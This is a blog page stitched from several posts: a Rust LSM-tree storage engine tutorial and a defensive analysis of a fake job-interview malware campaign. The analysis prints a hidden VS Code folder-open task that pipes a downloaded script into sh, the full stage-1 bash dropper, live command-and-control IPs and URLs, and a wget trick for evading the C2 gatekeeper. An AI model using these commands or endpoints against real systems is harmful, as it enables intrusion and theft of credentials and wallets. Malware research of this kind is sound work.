Stay paranoid out there, and happy coding.</strong></p>


Building LSM-Tree Storage Engine in Rust
2026-04-15T00:00:00+00:00
I have always been fascinated by how databases actually work under the hood. We rely on them every single day. Yet the inner mechanics of how they safely store data at high speeds can feel like magic. I wanted to demystify this process for myself. I decided the absolute best way to learn was to build my own key-value storage engine from scratch. I specifically wanted to deeply understand a concept called a Log-Structured Merge Tree. Many traditional databases use a different structure called a B-Tree. Those are excellent for finding information quickly. However, they can struggle during heavy write operations because they constantly overwrite data in random physical locations. I wanted to build a system in Rust that avoids this specific bottleneck. That pure curiosity turned into my personal learning project called lsmdb. It is a simple key-value store that turns chaotic writes into extremely fast consecutive disk operations.</p>
Designing the Concurrency Model</h2>
The first major lesson I learned was about coordinating simultaneous actions. A storage engine has to manage incoming data and read requests all at the exact same time. If the engine stops all data traffic just to handle a single process, the entire program pauses. In software terms, this is known as lock contention</strong>. To solve this puzzle, I carefully designed the central Storage Engine</strong> coordinator. I realized I needed different synchronization tools for completely different jobs. For example, I used a strict Mutex</strong> lock for active memory operations. This guarantees a highly fair waiting line where every incoming write request gets an equal turn. On the other hand, the background disk tasks use shared references. They grab the necessary data reference and release the lock instantly. This keeps the main application running rapidly without any annoying delays.</p>

src/lib.rs</code></p>
</blockquote>
pub</span> struct</span> StorageEngine</span> {</span></span>
    active_memtable</span>:</span> Arc</span><</span>Mutex</span><</span>MemTable</span>>>,</span></span>
    immutable_memtable</span>:</span> Arc</span><</span>Mutex</span><</span>Option</span><</span>Arc</span><</span>MemTable</span>>>>>,</span></span>
    wal</span>:</span> Arc</span><</span>Mutex</span><</span>Wal</span>>>,</span></span>
    sstables</span>:</span> Arc</span><</span>RwLock</span><</span>Vec</span><</span>Vec</span><</span>SSTableReader</span>>>>>,</span></span>
    manifest</span>:</span> Arc</span><</span>RwLock</span><</span>Manifest</span>>>,</span></span>
    memtable_capacity</span>:</span> usize</span>,</span></span>
    next_seq_num</span>:</span> Arc</span><</span>AtomicU64</span>>,</span></span>
    db_path</span>:</span> Arc</span><</span>PathBuf</span>>,</span></span>
    block_cache</span>:</span> BlockCache</span>,</span></span>
    flush_condvar</span>:</span> Arc</span><(</span>Mutex</span><</span>bool</span>>,</span> Condvar</span>)>,</span></span>
}</span></span></code></pre>Taming Memory with a Custom SkipList</h2>
Another fascinating challenge was handling incoming data before it ever reaches the physical disk. Every new piece of data first lands in an in-memory buffer called the MemTable</strong>. Think of this as a bustling waiting room. Standard programming approaches often allocate tiny blocks of memory for every single new record. I quickly realized this creates severe memory fragmentation and wastes valuable processing time. To fix this entirely, I built a custom probabilistic SkipList</strong>. I paired this data structure with a highly specialized Arena allocator</strong>. This allocator grabs a giant block of memory upfront. It then tightly packs new data right next to each other sequentially. Building this taught me how to achieve incredibly fast memory access while eliminating wasted overhead completely.</p>

src/memtable/skiplist.rs</code></p>
</blockquote>
#[</span>repr</span>(</span>C</span>)]</span></span>
struct</span> Node</span><</span>K</span>,</span> V</span>> {</span></span>
    key</span>:</span> K</span>,</span></span>
    value</span>:</span> V</span>,</span></span>
    height</span>:</span> usize</span>,</span></span>
}</span></span>
</span>
impl</span><</span>K</span>,</span> V</span>></span> Node</span><</span>K</span>,</span> V</span>> {</span></span>
    #[</span>inline</span>]</span></span>
    fn</span> next_array_offset</span>() -></span> usize</span> {</span></span>
        let</span> base_size</span> =</span> std</span>::</span>mem</span>::</span>size_of</span>::<</span>Self</span>>();</span></span>
        let</span> align</span> =</span> std</span>::</span>mem</span>::</span>align_of</span>::<</span>AtomicPtr</span><</span>Node</span><</span>K</span>,</span> V</span>>>>();</span></span>
        (</span>base_size</span> +</span> align</span> -</span> 1</span>) & !(</span>align</span> -</span> 1</span>)</span></span>
    }</span></span>
</span>
    fn</span> new</span>(</span>key</span>:</span> K</span>,</span> value</span>:</span> V</span>,</span> height</span>:</span> usize</span>,</span> arena</span>: &</span>Arena</span>) -> *</span>mut</span> Self</span> {</span></span>
        let</span> offset</span> =</span> Self</span>::</span>next_array_offset</span>();</span></span>
        let</span> size</span> =</span> offset</span> +</span> height</span> *</span> std</span>::</span>mem</span>::</span>size_of</span>::<</span>AtomicPtr</span><</span>Node</span><</span>K</span>,</span> V</span>>>>();</span></span>
</span>
        let</span> ptr</span> =</span> arena</span>.</span>allocate</span>(</span>size</span>)</span> as</span> *</span>mut</span> Self</span>;</span></span>
</span>
        unsafe</span> {</span></span>
            ptr</span>::</span>write</span>(</span>ptr</span>,</span> Self</span> {</span> key</span>,</span> value</span>,</span> height</span> });</span></span>
</span>
            let</span> next_array</span> = (</span>ptr</span> as</span> *</span>mut</span> u8</span>).</span>add</span>(</span>offset</span>)</span> as</span> *</span>mut</span> AtomicPtr</span><</span>Node</span><</span>K</span>,</span> V</span>>>;</span></span>
            for</span> i</span> in 0</span>..</span>height</span> {</span></span>
                ptr</span>::</span>write</span>(</span>next_array</span>.</span>add</span>(</span>i</span>),</span> AtomicPtr</span>::</span>new</span>(</span>ptr</span>::</span>null_mut</span>()));</span></span>
            }</span></span>
        }</span></span>
</span>
        ptr</span></span>
    }</span></span>
}</span></span></code></pre>Beating Memory Fragmentation</h2>
Building the custom SkipList was only half the battle. Standard tools still fragment memory behind the scenes if you are not careful. So I designed a completely lock-free bump-pointer Arena Allocator</strong>. This strategy is like buying a massive parking garage instead of renting individual parking spaces one by one. The algorithm claims millions of bytes from the operating system instantly. It then hands out perfectly aligned pieces using a rapid atomic math calculation. It practically removed the memory allocation bottleneck entirely.</p>

src/memtable/arena_allocator.rs</code></p>
</blockquote>
pub</span> struct</span> Arena</span> {</span></span>
    memory_usage</span>:</span> AtomicUsize</span>,</span></span>
    current_block</span>:</span> AtomicPtr</span><</span>Block</span>>,</span></span>
    current_block_offset</span>:</span> AtomicUsize</span>,</span></span>
}</span></span></code></pre>Surviving Power Failures</h2>
Buffering data in memory is incredibly fast but extremely dangerous. If the computer loses power unexpectedly, all that memory vanishes instantly. I wanted to guarantee that my engine never loses a single committed write. To solve this critical vulnerability, I implemented a Write-Ahead Log</strong> or WAL. Before a new piece of data ever touches the memory buffer, it is safely recorded in this log strictly on the hard drive. I used rigid physical block structures to maintain reliability. The log saves data in consecutive thirty-two kilobyte blocks. If the system crashes mid-write, a checksum failure alerts the recovery process to discard the corrupted chunk safely. Learning how to build this specific logging mechanism really showed me the harsh reality of physical hardware constraints.</p>

src/wal.rs</code></p>
</blockquote>
#[</span>derive</span>(</span>Debug</span>,</span> Clone</span>,</span> Copy</span>)]</span></span>
enum</span> ChunkType</span> {</span></span>
    Full</span> =</span> 1</span>,</span></span>
    First</span> =</span> 2</span>,</span></span>
    Middle</span> =</span> 3</span>,</span></span>
    Last</span> =</span> 4</span>,</span></span>
}</span></span>
</span>
/// A fixed-width slot inside a 32 KB WAL block.</span></span>
///</span></span>
/// Records that span multiple 32 KB blocks are split into First/Middle/Last chunks. This</span></span>
/// lets the recovery reader reassemble records without knowing their total size upfront —</span></span>
/// it reads chunks in order until it sees a `Last` (or `Full`) chunk type.</span></span>
///</span></span>
/// The payload is raw serialized `Record` bytes. Keeping `Chunk` unaware of `Record`</span></span>
/// structure means the chunking logic is reusable for any payload and easier to test.</span></span>
struct</span> Chunk</span> {</span></span>
    pub</span> checksum</span>:</span> u32</span>,</span></span>
    pub</span> length</span>:</span> u16</span>,</span></span>
    pub</span> chunk_type</span>:</span> ChunkType</span>,</span></span>
    pub</span> payload</span>:</span> Vec</span><</span>u8</span>>,</span></span>
}</span></span></code></pre>Cleaning the Logs Automatically</h2>
Because every single action is safely written to the log, those files grow rapidly. I could not simply let them consume the entire hard drive forever. I built a garbage collection mechanism to handle the mess seamlessly. Once the background task successfully seals a data table onto the final disk drive, it tells the logger to permanently delete the older corresponding log files. This keeps the disk completely neat and tidy. It ensures the system only retains the exact limited history it needs to recover from a sudden crash.</p>
Handling the Overflow</h2>
What happens when that memory buffer fills up entirely? I needed a reliable way to move the data permanently to the disk without freezing the application. I programmed a background task that takes the full memory table and writes it out as an SSTable</strong>. This stands for Sorted String Table. However, I encountered a completely new problem. What if the incoming writes are so incredibly fast that the disk cannot keep up? To handle this overflow gracefully, I utilized a CondVar</strong> constraint. If the system cannot process the files quickly enough, it intentionally parks the incoming writes in a harmless waiting area. This creates a natural back-pressure. It forces the system to stay stable instead of throwing unpredictable or fatal errors into the console.</p>

src/lib.rs</code></p>
</blockquote>
std</span>::</span>thread</span>::</span>spawn</span>(</span>move</span> || {</span></span>
    if</span> let</span> Err</span>(</span>e</span>) =</span> Self</span>::</span>flush_immutable_memtable</span>(</span></span>
        imm_memtable_arc</span>,</span> </span></span>
        sstables_arc</span>,</span> </span></span>
        manifest_arc</span>,</span> </span></span>
        db_path_arc</span>,</span> </span></span>
        wal_arc</span></span>
    ) {</span></span>
        eprintln!</span>("</span>Background flush failed: </span>{}",</span> e</span>);</span></span>
    }</span></span>
    let</span> (</span>mutex</span>,</span> condvar</span>) = &*</span>condvar_arc</span>;</span></span>
    let mut</span> flushing</span> =</span> mutex</span>.</span>lock</span>().</span>unwrap</span>();</span></span>
    *</span>flushing</span> = false;</span></span>
    condvar</span>.</span>notify_all</span>();</span></span>
});</span></span></code></pre>Filtering the Noise with Bloom Filters</h2>
When I started running read operations, I noticed something highly concerning. If a user searched for a key that did not exist, the engine would waste incredible amounts of time searching through every single disk file. To save the database from these pointless disk reads, I learned about and implemented a Bloom Filter</strong>. This is a special probabilistic data structure. It uses an incredibly clever double-hashing math trick. It can instantly tell you if a key is definitely missing in just a few micro-operations. By embedding these into every file, I managed to eliminate almost ninety-nine percent of unnecessary physical disk reads.</p>

src/bloom_filter.rs</code></p>
</blockquote>
/// Returns `false` if the key is **definitely** absent. Returns `true` if it **might** exist.</span></span>
pub fn</span> contains</span>(&</span>self</span>,</span> key</span>: &[</span>u8</span>]) -></span> bool</span> {</span></span>
    let</span> hash</span> =</span> Self</span>::</span>hash_key</span>(</span>key</span>);</span></span>
    let</span> h1</span> = (</span>hash</span> &</span> 0xFFFFFFFF</span>)</span> as</span> u32</span>;</span></span>
    let</span> h2</span> = (</span>hash</span> >></span> 32</span>)</span> as</span> u32</span>;</span></span>
</span>
    let</span> m</span> =</span> self</span>.</span>bits</span>.</span>len</span>();</span></span>
    if</span> m</span> ==</span> 0</span> {</span></span>
        return</span> false;</span></span>
    }</span></span>
</span>
    for</span> i</span> in 0</span>..</span>self</span>.</span>k_num_hashes </span>{</span></span>
        let</span> bit_idx</span> = (</span>h1</span> as</span> u64</span> + (</span>i</span> as</span> u64</span>).</span>wrapping_mul</span>(</span>h2</span> as</span> u64</span>))</span> as</span> usize</span> %</span> m</span>;</span></span>
        // One clear bit is enough to prove absence — no need to check the remaining hashes.</span></span>
        if</span> !</span>self</span>.</span>bits</span>.</span>get</span>(</span>bit_idx</span>).</span>unwrap_or</span>(false) {</span></span>
            return</span> false;</span></span>
        }</span></span>
    }</span></span>
</span>
    true</span></span>
}</span></span></code></pre>Merging Data with Multi-Level Compaction</h2>
Because this system never overwrites data directly, old data and deleted records start piling up constantly. It is exactly like having an overflowing trash bin full of outdated drafts. I solved this by building a background compaction system. As files multiply over time, a multi-level merge kicks in automatically. It takes the oldest files and merges them together using a smart sorting technique. If it sees a deleted record, it permanently erases it and frees up the actual disk space. This guarantees that the storage size remains incredibly lean no matter how long the database runs.</p>
Tracking State with the Manifest</h2>
Another major technical hurdle was keeping track of all these newly created and merged files perfectly. If the power fails during a massive compaction merge, how does the system know which files are actually safe to use upon restart? I needed an absolute source of truth. I built a persistent system tracker called the Manifest</strong>. Every time a new file is born or an old file is deleted, the Manifest records a tiny delta update. When the database boots up, it reads this Manifest log like an unalterable history book. This cleanly reconstructs the state and completely prevents corrupted ghost files from destroying the data integrity.</p>

src/sstable/manifest.rs</code></p>
</blockquote>
pub</span> struct</span> Manifest</span> {</span></span>
    file</span>:</span> File</span>,</span></span>
}</span></span>
</span>
impl</span> Manifest</span> {</span></span>
    /// Opens the Manifest log in append mode. Creates it if it doesn't exist.</span></span>
    pub fn</span> open</span>(</span>path</span>:</span> impl</span> AsRef</span><</span>Path</span>>) -></span> Result</span><</span>Self</span>,</span> anyhow</span>::</span>Error</span>> {</span></span>
        let</span> file</span> =</span> OpenOptions</span>::</span>new</span>().</span>create</span>(true).</span>append</span>(true).</span>open</span>(</span>path</span>)?;</span></span>
</span>
        Ok</span>(</span>Self</span> {</span> file</span> })</span></span>
    }</span></span>
</span>
    /// Logs a specific state mutation (e.g. creating a Level 0 table, or merging tables to Level 1).</span></span>
    pub fn</span> log_edit</span>(&</span>mut</span> self</span>,</span> edit</span>: &</span>VersionEdit</span>) -></span> Result</span><(),</span> anyhow</span>::</span>Error</span>> {</span></span>
        let</span> bytes</span> =</span> edit</span>.</span>to_bytes</span>();</span></span>
        self</span>.</span>file</span>.</span>write_all</span>(&</span>bytes</span>)?;</span></span>
        self</span>.</span>file</span>.</span>sync_data</span>()?;</span></span>
        Ok</span>(())</span></span>
    }</span></span>
}</span></span></code></pre>Speeding Up Reads with an LRU Cache</h2>
As I tested the read path, I realized retrieving the same data multiple times was forcing the engine to fetch the same blocks from the disk repeatedly. This felt incredibly inefficient. To solve this, I added an in-memory block cache. I configured it to hold the most recently used blocks in prime memory space. If a previously accessed piece of data is requested again, the engine simply grabs it directly from this cache. This completely skips the heavy penalty of paging from the storage drive. It drastically improved the performance for frequently accessed data.</p>
Shrinking Data with Block Compression</h2>
Physical disk space is a precious resource. I wanted the engine to store as much data as humanly possible without bloating the hard drive. I integrated Snappy compression into the data block pipeline. Before any block ever reaches the disk, the engine compresses it. When reading it back, it decompresses the block instantly. I designed the file format with a special forward-compatible byte exactly for this. It tells the reader how to unpack the data seamlessly. This significantly reduced the overall disk footprint with almost zero noticeable speed penalty.</p>

src/sstable/compaction.rs</code></p>
</blockquote>
// Reads the 1-byte compression type sentinel written by SSTableBuilder and decompresses.</span></span>
// Returning None (instead of panicking) on an unknown type makes the reader forward-compatible:</span></span>
// a file written by a future version of lsmdb with a new compressor can be gracefully skipped</span></span>
// rather than crashing all existing readers.</span></span>
fn</span> decompress_block</span>(</span>raw_block</span>: &[</span>u8</span>]) -></span> Option</span><</span>Vec</span><</span>u8</span>>> {</span></span>
    let</span> compression_type</span> =</span> raw_block</span>[</span>0</span>];</span></span>
    let</span> payload</span> = &</span>raw_block</span>[</span>1</span>..];</span></span>
    match</span> compression_type</span> {</span></span>
        t</span> if</span> t</span> ==</span> COMPRESSION_SNAPPY</span> =></span> snap</span>::</span>raw</span>::</span>Decoder</span>::</span>new</span>().</span>decompress_vec</span>(</span>payload</span>).</span>ok</span>(),</span></span>
        t</span> if</span> t</span> ==</span> COMPRESSION_NONE</span> =></span> Some</span>(</span>payload</span>.</span>to_vec</span>()),</span></span>
        _</span> =></span> None</span>,</span></span>
    }</span></span>
}</span></span></code></pre>Squeezing Keys with Prefix Encoding</h2>
While looking closely at the stored keys, I noticed another area for optimization. Many keys often share the exact same starting letters. Storing those repeated prefixes over and over seemed terribly wasteful. I implemented a prefix compression technique inside the data blocks. Each new key only stores the specific bytes that differ from the key right before it. To make sure reading through a block remains fast, I added periodic uncompressed restart points. Building this logic pushed my byte manipulation skills to the test and successfully squeezed even more data into every kilobyte.</p>
Seeing It In Action</h2>
Building an entire LSM-Tree from scratch was an incredibly rewarding experience. It bridged the gap between abstract computer science concepts and raw hardware reality. I learned exactly why simple sequential operations on a disk can be wonderfully fast. To make testing much easier, I also built a small interactive CLI tool. This allows anyone to manually insert and retrieve data directly. Watching the engine blaze through operations in raw microseconds is immensely satisfying. I highly encourage you to build your own mini database if you want to truly understand how data is born, moved, and securely stored.</p>
use</span> lsmdb</span>::</span>StorageEngine</span>;</span></span>
</span>
// Open (or create) a database at the given path.</span></span>
let</span> engine</span> =</span> StorageEngine</span>::</span>open</span>("</span>./my_db</span>")?;</span></span>
</span>
// Write</span></span>
engine</span>.</span>put</span>("</span>user:42</span>", "</span>Alice</span>")?;</span></span>
</span>
// Read</span></span>
if</span> let</span> Some</span>(</span>val</span>) =</span> engine</span>.</span>get</span>("</span>user:42</span>")? {</span></span>
    println!</span>("{}",</span> String</span>::</span>from_utf8_lossy</span>(&</span>val</span>));</span> // "Alice"</span></span>
}</span></span>
</span>
// Delete (tombstone — space recovered during compaction)</span></span>
engine</span>.</span>remove</span>("</span>user:42</span>")?;</span></span></code></pre>

Byte Array Variable</th>	Decoded Value</th>	Purpose</th></tr></thead>
`Q</code></td>`	`.task</code></td>`	Hidden working directory name</td></tr>
`K</code></td>`	`b.js</code></td>`	Final payload filename</td></tr>
`O</code></td>`	`/s/</code></td>`	C2 URL path segment</td></tr>
`tt</code></td>`	`/f</code></td>`	C2 file download path</td></tr>
`rt</code></td>`	`cd</code></td>`	Shell command prefix</td></tr>
`it</code></td>`	`nohup</code></td>`	Process launcher (Linux)</td></tr> </tbody></table> The nohup Disguise (Linux-specific):</strong> On Linux and macOS, the final payload is launched using `child_process.spawn</code> with detached: true</code> and unref()</code> to orphan the process from its parent. On Linux specifically, the spawn call uses nohup</code> as the executable name in the process arguments. This means the running Node.js process appears in the system process list as nohup</code> rather than node</code>. A developer checking ps aux</code> for suspicious Node.js processes would not find it.</p>` `The ZT3 Handshake Protocol:</strong> Before downloading any payload, the C2 server uses a custom handshake. The orchestrator contacts the server at /s/40abc18736c9</code>. If the server responds with a string beginning ZT3</code>, the client strips those three characters, base64-decodes the remainder, and splits on a comma. The first part becomes the download URL prefix. The second part becomes the payload hash used to construct the exact download path for b.js</code>.</p>` `This is a dead man's switch design. If the server does not send ZT3</code>, the entire attack chain stops silently. No payload is downloaded. No error is thrown. The machine shows no sign of compromise. This also means the operator can terminate all active infections simultaneously simply by changing the server response.</p>` `The Registration Beacon:</strong> Immediately after the handshake succeeds, the orchestrator sends a POST request to the C2 at /keys</code> before downloading anything. The payload contains: a Unix timestamp, the payload type identifier, a host ID built from the machine hostname (on macOS the username is appended to the hostname), a session state string, and a Node.js version fingerprint derived from the process arguments.</p>` `This tells the operator which machine connected, which OS it is running, and which version of the attack chain delivered it, all before a single file is exfiltrated. The operator is watching infections in real time, not collecting data passively.</p>` PHASE 4: Dissecting the b.js file</h2> The orchestrator’s (parser.js</code>) primary function is to fetch and execute b.js</code>. Safe extraction of this file revealed a massive, modular exploitation framework rather than a simple script.</p> Architectural Breakdown:</strong> After deobfuscation I found that the script contains a central object (y</code>) housing four distinct Base64-encoded modules. The main loop extracts these modules and executes them simultaneously in memory, preventing them from touching the disk where antivirus scanners might flag them.</p> My analysis of the b.js</code> file revealed highly specialized capabilities:</p> Crypto & Browser Stealer</strong>: Targets specific browser paths (Google Chrome, BraveSoftware). It contains hardcoded arrays of Chrome Extension IDs matching popular cryptocurrency wallets (MetaMask, Phantom, Binance Chain) and zips the Local Extension Settings alongside the browser's master decryption key.</p> </li> SSH RAT</strong>: A Remote Access Trojan built using the ssh2</code> library. It establishes encrypted reverse tunnels to the attacker's server, featuring an internal heartbeat mechanism to maintain persistence and commands to silently execute terminal tasks.</p> </li> Live Surveillance</strong>: Utilizes socket.io-client</code> for low-latency communication. It imports the sharp</code> image processing library to compress and stream live screenshots, hooking into native OS events to log keystrokes and sniff clipboard contents in real time.</p> </li> Deep File Crawler</strong>: An asynchronous file hunter. It bypasses system directories to optimize speed, recursively scanning user folders for specific developer secrets. The target list explicitly includes .env</code>, .pem</code>, id_rsa</code>, .kdbx</code> (KeePass databases), and cloud infrastructure configuration files. It uses a concurrency queue to silently upload these files in batches, preventing CPU spikes.</p> </li> </ul> PHASE 5: Intercepting the Command and Control</h2> The b.js</code> acts as a staging mechanism to download final compiled binaries from a secondary Command and Control (C2) infrastructure.</p> Network Logic Reversal:</strong> The script dynamically generates the C2 URLs using a custom Base64 shuffling function. By writing a quick script to reverse this shuffling logic, the true payload endpoints were exposed:</p> Windows Payload: http://45.59.160.200:1244/clw/gxUsMe8</code> (Downloads mod.pyd)</li> macOS/Linux Payload: http://45.59.160.200:1244/clw1/gxUsMe8</code> (Downloads mod.so)</li> Python Runtime: http://45.59.163.50:1244/pd2</code> (Downloads p2.zip)</li> </ul> Caution: Do not download these URLs. If you choose to, use a fully isolated environment with no access to your real credentials or network. These URLs may already be dead. They are documented here for attribution and research purposes only.</p> </blockquote> The Interception:</strong> To safely capture these binaries without triggering execution, I utilized stripped wget commands directly within my isolated VM.</p> wget</span> --user-agent=</span>""</span> -qO mod.so</span> "</span>http://45.59.160.200:1244/clw1/gxUsMe8</span>"</span></span></code></pre> Note: The --user-agent="" flag was critical. The Node.js request library does not send a default user agent. Sending a standard Wget/1.21 header would alert the C2 gatekeeper and result in a dropped connection.</p> </blockquote> Where the Analysis Ends</h3> The compiled binaries intercepted from Command and Control (mod.so</code>, mod.pyd</code>, p2.zip</code>) are beyond the scope of this analysis. Static analysis using readelf</code> and strings</code> confirms they are Cython-compiled Python extensions, but decompiling Cython binaries requires a different toolchain and deeper reverse engineering skill than this post covers. This is the current frontier of this investigation. A follow-up post will cover binary analysis once that skill is built.</p> Key Takeaways & Mitigation</h2> This campaign represents a highly mature threat model targeting the software engineering supply chain.</p> Attacker Tactics, Techniques, and Procedures:</strong></p> Execution</strong>: Abuse of .vscode/tasks.json</code> for zero-click execution upon repository opening.</li> Defense Evasion</strong>: Utilization of IP-locked JWT</code> delivery networks and dynamic XOR payload encryption.</li> Persistence</strong>: Detached background processes and portable runtime deployment.</li> Obfuscation</strong>: Cython</code> compilation of the final Python payloads to prevent source code recovery.</li> Command and Control</strong>: A ZT3</code> handshake protocol with operator-controlled kill switch. A registration beacon at /keys</code> providing real-time infection visibility to the operator before any data is collected.</li> </ul> Defense Recommendations:</strong></p> Zero-Trust Repositories: Never open an untrusted repository directly in an IDE. Always audit .vscode</code>, .idea</code>, and package configuration files using a standard text editor.</li> EDR Tuning: Endpoint Detection and Response (EDR) agents should be strictly configured to flag and block IDE binaries (like code or webstorm) from unexpectedly spawning interactive shells or network utilities like curl</code> and wget</code>.</li> VS Code Workspace Trust</strong>: Set VS Code to default to Restricted Mode globally via "security.workspace.trust.enabled": true</code> in settings. Never click "Trust" on a repository received during a recruitment process. Legitimate companies do not require IDE trust prompts as part of technical assessments.</li> </ul> The Fake Interview Trap: How I Stopped Hackers from Deploying a Zero-Click Exploit 2026-04-29T00:00:00+00:00 Introduction</h2> The tech job market is undeniably brutal right now. Layoffs, ghosting, and hyper-competitive interview loops have created an environment where developers are eager to prove their skills and land an offer. Threat actors know this, and they have weaponized the technical interview process.</p> Recently, what started as a standard outreach message from an "HR recruiter" for a backend engineering role quickly devolved into one of the most sophisticated cyberattacks I’ve ever personally encountered. It wasn't a phishing link or a fake login page. It was a highly targeted, multi-stage malware deployment mechanism disguised as a take-home coding challenge.</p> The TL;DR</strong>: I was given a "Git merge assessment" that was actually a Trojan horse. It was designed to execute a zero-click remote code payload on my machine, completely bypassing the terminal, simply by opening the project in a code editor.</p> Because I noticed a few bizarre inconsistencies in their instructions, I decided to sandbox the assessment in an air-gapped Debian virtual machine. That decision saved my personal credentials, my AWS keys, and my machine. Here is the full technical breakdown of how the trap was set, the red flags you need to look out for, and how I reverse-engineered their bash dropper.</p> Social Engineering & Red Flags</h2> Every good cyberattack starts with social engineering. The initial hook needs to be plausible enough to lower your guard, but urgent enough to make you skip your standard security protocols.</p> The "Opportunity"</strong> The attack began with a direct message from a recruiter claiming to represent a company called "Trust-AI". After a brief chat about my background, they outlined their interview process. Before moving on to the standard system design and backend architecture rounds, they required me to pass a "leadership workflow" test.</p> Their scenario: “You're in charge of the main branch, and the members are off doing their thing on a new branch. You've gotta rebase or merge the new branch's progress into main, ironing out those Git wrinkles along the way.”</em></p> They invited me to a private GitHub repository and provided a formal, one-page PDF outlining the assessment. I had exactly one hour to complete it.</p> The Red Flags</strong> Almost immediately, the framing felt entirely wrong.</p> The "Leadership" Label: The recruiter repeatedly framed resolving a branch conflict as a test of "leadership." Managing a branch is basic work. If a company legitimately views a basic git rebase as high-level leadership, their engineering culture is profoundly broken.</li> The Urgent "UI Verification": The instruction document explicitly told me to "verify the project appearance matches the provided screenshot" and to "troubleshoot a bug." Why would I need to run a local build and spin up a development server just to verify the authorship of a Git conflict?</li> </ol> The Editor Conflict</h2> The biggest red flag was a rigid constraint in their instructions: I was strictly mandated to open the project using VS Code</strong>. I am a terminal-native developer. My daily driver is Helix</strong>, a modal, terminal-based text editor. I handle all my version control, file editing, and conflict resolution directly from the command line.</p> In a legitimate technical assessment, a company cares about the output - a clean Git tree, functional code, and a solid PR. They do not care which text editor you use to get there. The fact that the instructions specifically required me to use VS Code meant that the editor itself was an integral part of the assessment.</p> The Defensive Setup</h2> Because of the forced VS Code requirement and the suspicious push to "verify the UI" for a basic Git assessment, my guard was fully up. There was absolutely no way I was going to clone a closed-source, unverified repository directly onto my daily-driver host machine.</p> Instead, I implemented a strict zero-trust approach.</p> I spun up a fresh, isolated Debian virtual machine dedicated exclusively to this single task. If the repository contained malicious build scripts or exploit chains, the blast radius would be confined to a disposable container with no access to my local files, SSH keys, or network shares.</p> There was a catch: the repository was private. To clone it, I had to authenticate with my real GitHub account. If I copied my primary SSH key into the VM, and the VM was compromised, the attackers would gain full access to every repository I contribute to.</p> To mitigate this, I utilized GitHub's Fine-grained Personal Access Tokens. I generated a temporary token scoped exclusively to their private repository with the bare minimum read/write permissions required to clone and push. Even if the attackers stole this token, it would be entirely useless outside of their own repository.</p> With the VM secured and the scoped token in hand, I cloned the project and opened it.</p> Auditing the Workspace</h2> After successfully cloning the repository into my isolated VM, I made a critical decision: I completely ignored their strict mandate to use VS Code.</p> Instead, I opened the project directory using my favourite editor Helix.</p> By sticking to my terminal-native workflow, I inadvertently neutralized their entire attack vector before it even began. Helix is a lightning-fast, modal text editor. It doesn't automatically parse, trust, or execute workspace configuration files like .vscode</code> or .idea</code>. It just reads text.</p> But my curiosity was heavily piqued. Why was the recruiter so desperate for me to use VS Code? To find out, I navigated straight to the hidden .vscode</code> directory and opened the tasks.json</code> file in Helix to see what they were trying to force me to run.</p> The Distraction</strong> At first glance, the tasks.json</code> file looked incredibly professional. It was filled with hundreds of lines of complex JSON detailing a web3/blockchain "StakingGame" application.</p> It included fabricated configuration blocks like environmentProfiles</code>, metaDiagnostics</code>, and executionPolicies</code>. It listed preRunChecks</code> requiring specific Node.js versions and Hardhat configurations.</p> This was pure psychological manipulation. The attacker packed the file with advanced-sounding jargon to overwhelm the target, making them think they were looking at a complex, enterprise-grade deployment script so they would stop reading and just get to work on the Git conflict.</p> The Trigger</strong> But as I scrolled past the wall of fake blockchain configurations down to the actual executable tasks</code> array, the true intent of the repository was sitting right there:</p> .vscode/tasks.json</code></p> </blockquote> "</span>runOptions</span>"</span>: </span>{</span></span> "</span>runOn</span>": "</span>folderOpen</span>"</span></span> }</span></span></code></pre> This was the smoking gun.</p> By defining "runOn": "folderOpen"</code>, the attacker engineered a zero-click exploit trap. If I had followed the recruiter's instructions, opened the project in VS Code, and clicked "Yes, I trust the authors" on the initial Workspace Trust prompt, VS Code would have immediately executed the hidden payload in the background.</p> I wouldn't have had to open a terminal. I wouldn't have had to run npm install</code>. The mere act of opening the editor was the detonator.</p> The Payload: Capturing the Stage 1 Dropper</h2> I found the trigger. I looked at the specific execution commands mapped to the OS profiles in the JSON file. At first glance, the commands for Linux, Windows, and Mac looked completely empty.</p> I realized it was a classic obfuscation trick. They used a massive amount of horizontal whitespace. If you didn't have word wrap enabled in your editor, the command was pushed so far to the right that it was completely hidden off-screen.</p> At the very end of the line, I found this dropper command for Linux:</p> .vscode/tasks.json</code></p> </blockquote> "</span>linux</span>"</span>: </span>{</span></span> "</span>command</span>": "</span>wget -qO- 'https://gurucooldown.short.gy/gxUsMe8l' -L \| sh</span>"</span></span> }</span></span></code></pre> (you have to scroll horizontally to the right)</p> </blockquote> This is incredibly nasty. It silently downloads a file from a shortened URL and pipes it directly into the system shell. If I had used VS Code and trusted the workspace, this would have run instantly with my user permissions.</p> I wanted to see what that script actually did. Since I was safe inside my Debian VM, I manually downloaded it. Instead of letting it pipe to sh</code>, I forced it to save as a harmless text file by running:</p> wget -qO payload.txt 'https://gurucooldown.short.gy/gxUsMe8l'</code></p> I opened the text file, and here is the exact bash script they were trying to run on my machine:</p> #!/bin/bash</span></span> set</span> -e</span></span> echo</span> "</span>Authenticated</span>"</span></span> TARGET_DIR</span>="</span>$HOME</span>/Documents</span>"</span></span> clear</span></span> wget</span> -q -O</span> "</span>$TARGET_DIR</span>/tokenlinux.npl</span>" "</span>http://165.140.86.190:3000/task/tokenlinux?token=40abc18736c9&st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6Ijo6ZmZmZjoxNTIuNTkuMTY3LjM4Iiwic2Vzc2lvbklkIjoiMzk1NjU5MTQtYzg3Zi00ZGUwLWE1MTUtNmQwMmJjYjYyOWY2Iiwic3RlcCI6MSwidGltZXN0YW1wIjoxNzc3NDU4ODUwNDgzLCJvcmlnVG9rZW4iOiI0MGFiYzE4NzM2YzkiLCJpYXQiOjE3Nzc0NTg4NTAsImV4cCI6MTc3NzQ1OTAzMH0.-TgaACMUSDLG67sxnGOUzUvLpUJIJaVZxJHMxRxjRMs</span>"</span></span> clear</span></span> mv</span> "</span>$TARGET_DIR</span>/tokenlinux.npl</span>" "</span>$TARGET_DIR</span>/tokenlinux.sh</span>"</span></span> clear</span></span> chmod</span> +x</span> "</span>$TARGET_DIR</span>/tokenlinux.sh</span>"</span></span> clear</span></span> $//' "$TARGET_DIR/tokenlinux.sh"</span></span> clear</span></span> nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &</span></span> clear</span></span> exit 0</span></span></code></pre>Deconstructing the Malware</h2> It is a textbook Stage 1 dropper. Its only job is to be tiny, fetch 